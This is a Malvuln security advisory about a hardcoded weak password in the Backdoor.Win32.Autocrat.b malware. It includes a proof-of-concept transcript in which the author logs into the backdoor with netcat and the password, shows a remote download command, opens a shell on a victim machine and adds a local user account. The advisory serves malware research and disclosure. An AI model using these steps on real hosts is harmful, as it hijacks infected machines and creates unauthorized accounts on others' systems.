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Backdoor.Win32.Autocrat.b MVID-2022-0660 Weak Hardcoded Credential

Backdoor.Win32.Autocrat.b MVID-2022-0660 Weak Hardcoded Credential
Posted Nov 25, 2022
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Autocrat.b malware suffers from a weak hardcoded credential vulnerability.

tags | exploit
systems | windows
SHA-256 | d7a1dbe69c51797b7a119cf51d50bfdc0cf2f5d6383559a3c42e0b551d24f2ff

Backdoor.Win32.Autocrat.b MVID-2022-0660 Weak Hardcoded Credential

Change Mirror Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/4262a8b52b902aa2e6bf02a156d1b8d4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Backdoor.Win32.Autocrat.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware is packed with PeCompact, listens on TCP port 8536 and requires authentication. However, the password "autocrat" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Family: Autocrat
Type: PE32
MD5: 4262a8b52b902aa2e6bf02a156d1b8d4
Vuln ID: MVID-2022-0660
Dropped files: srvsupp.exe
Disclosure: 11/24/2022


Exploit/PoC:
C:\Users\gg\Desktop>nc64.exe x.x.x.x 8536
Login:autocrat

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user apparitionsec 666 /add
net user apparitionsec 666 /add
The command completed successfully.


C:\Users\Victim\Desktop>


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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